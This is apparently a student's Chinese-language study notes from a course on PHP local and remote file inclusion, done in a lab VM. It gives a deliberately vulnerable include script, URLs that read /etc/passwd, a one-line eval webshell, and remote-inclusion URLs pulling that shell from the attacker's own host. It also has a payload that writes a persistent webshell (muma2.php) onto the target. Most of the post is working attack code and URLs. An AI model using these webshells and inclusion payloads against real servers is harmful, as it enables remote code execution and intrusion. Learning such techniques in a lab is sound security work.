首页 > 其他分享 >文件包含漏洞(学习中)

文件包含漏洞(学习中)

时间:2023-03-10 16:58:12浏览次数:29  
标签:文件 shell 包含 虚拟机 漏洞 地址 code php

b站蜗牛学院课2-P121

所用虚拟机地址:192.168.112.188
所用本机地址:192.168.112.1

一、本地文件包含

1. 源代码

在虚拟机的security/fileinc.php文件中写入如下代码:

<?php
$filename = $_GET[‘filename’];
include $filename; //或include_once, require, require_once

echo "<hr>欢迎来到PHP的世界。<br>";

?>

2. 利用条件

php.ini 中 allow_url_fopen=On (默认开启)
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?

3. 利用方式

【例1】在浏览器中输入:

http://虚拟机地址/security/fileinc.php?Filename=misc.php

报错:需要传入uname、passwd值
改正:

http://虚拟机地址/security/fileinc.php?Filename=misc.php&uname=woniu&passwd=123456

【例2】读取任意文件:

http://虚拟机地址/security/fileinc.php?Filename=/etc/passwd

/etc/passwd为文件路径


Filename=./login.html

4. 注意事项

一旦文件中出现使用include或其他三个文件包含的函数,那么无论包含的文件后缀名是什么,均会当成PHP代码来执行。其余文字将当做普通html文本显示。


二、远程文件包含

1. 利用条件

php.ini 中 allow_url_fopen=On (默认开启)和 allow_url_include=Off(默认关闭,需开启,vim etc\php.ini
用户参数可控且后台代码没有对包含的文件进行过滤 #什么意思?

2. 利用方式

【例1】试探:
在浏览器中输入:

http://虚拟机地址/security/fileinc.php?filename=https://www.woniuxy.com/index.php

filename=可为任意一个网页地址
若出现了网页,则说明存在文件包含漏洞。

【例2】实现远程文件包含:
①在winD:\XampNew\htdocs\learn\shell.php中输入下列代码:

<?php

//phpinfo();
@eval($_GET['code']);

?>

在windows浏览器中输入:

http://localhost/learn/shell.php?code=phpinfo();

出现windows的php信息。
②在win浏览器输入:

http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php

需关闭win和虚拟机的防火墙,即可访问。
③在winsows浏览器输入:

http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.php?code=phpinfo();

<注 1>.在使用远程文件包含时,可使用shell.php?code=phpinfo()中的?,因为已将https://本机地址/learn/shell.php?code=phpinfo()这整个部分当作url地址来包含,不会把?code=phpinfo()当作第二个参数。
<注 2> 此时结果未被包含在虚拟机地址中使用,未通过虚拟机中的fileinc.php执行,显示的结果是本机的信息,与单独实现https://本机地址/learn/shell.php?code=phpinfo();结果一样。更正:

  1. 将winD:\XampNew\htdocs\learn\shell.php另存为shell.txt
  2. 在win浏览器输入:
http://虚拟机地址/security/fileinc.php?filename=https://本机地址/learn/shell.txt&code=phpinfo();


用&后,code为filename的第二个参数
用?时,filename后边为一个整体的网址

此时执行的结果才是包含之后的。
shell.php?code=phpinfo();
shell.txt&code=phpinfo();


三、利用包含文写木马

在winD:\XampNew\htdocs\learn\shell.txt中写入下列代码:

<?php
// phpinfo();
// @eval($_GET['code']);
file_put_contenes("temp/muma2.php", '<?php @eval($_GET["code"]); ?>');
?>

// file_put_contenes的第一个参数:虚拟机中的要包含进去的文件路径文件名,第二个参数:要写入的文本的内容。

要使虚拟机包含木马文件muma2.php

标签:文件,shell,包含,虚拟机,漏洞,地址,code,php
From: https://www.cnblogs.com/xiaosu23/p/17203942.html

相关文章

  • python根据当前时间创建文件夹
    若想在文件夹名称中包含小时、分钟和秒,可以将时间格式化字符串修改为"%Y-%m-%d-%H-%M-%S"。下面是示例代码:importosfromdatetimeimportdatetime#获取当前时间n......
  • Python文件打包exe程序
    文件打包概要脚本打包exe:win/mac【终端】qt5,开发桌面应用打包qt5程序【桌面应用】1.exe打包pipinstallpyinstaller注意事项:支持mac、win(Windows建议使用py......
  • (转)golang 读写文件的四种方式
    原文:https://blog.csdn.net/whatday/article/details/103938124读文件读取的文件放在file/test:也就是file包下的test这个文件,里面写多一点文件读文件方式一:利用ioutil.R......
  • JAVA WEB项目文件夹上传下载控件
    ​ 第一点:Java代码实现文件上传FormFilefile=manform.getFile();StringnewfileName= null;Stringnewpathname= null;StringfileAddre= "/numUp";try{......
  • 关于文件IO缓冲区的思考
    关于文件IO缓冲区的思考问题的提出:关于我在实现socket的时候,有一个打印的问题一直在困扰我:我的程序具体的实现功能是:写一个客户端和服务器,客户端写入数据,服务器打印出来......
  • pytest--创建临时目录和文件
    前言在平常测试当中,可能会有一些临时数据,比如输出信息、token、临时密码等数据需要临时保存和读取。那么pytest也提供了一个fixture来支持这种情况。能够创建临时目录文......
  • linux之文件最大打开数量
    谈打开文件数,不得不谈文件句柄1.什么是文件句柄?在文件I/O中,要从一个文件读取数据,应用程序首先要调用操作系统函数并传送文件名,并选一个到该文件的路径来打开文件。该函数......
  • flashfxp文件和文件名中文乱码怎么办?【转】
    flashfxp软件集成了其它好的FTP软件的优点,支持文件夹的传输,并且能够实时记录站点密码,便于管理,但是有的用户在使用过程中发现自己的flashfxp文件显示了中文乱码,那应该怎么办......
  • powershell创建文件/文件夹
     powershell创建文件夹 powershell可以直接创建多层文件夹1.使用mkdir  mkdir"D:\a\b\c\d"如果文件夹已存在则报错  2.使用New-Item New-Item-PathD:......
  • JAVA WEB项目文件夹上传下载方法
    ​ 第一点:Java代码实现文件上传FormFilefile=manform.getFile();StringnewfileName= null;Stringnewpathname= null;StringfileAddre= "/numUp";try{......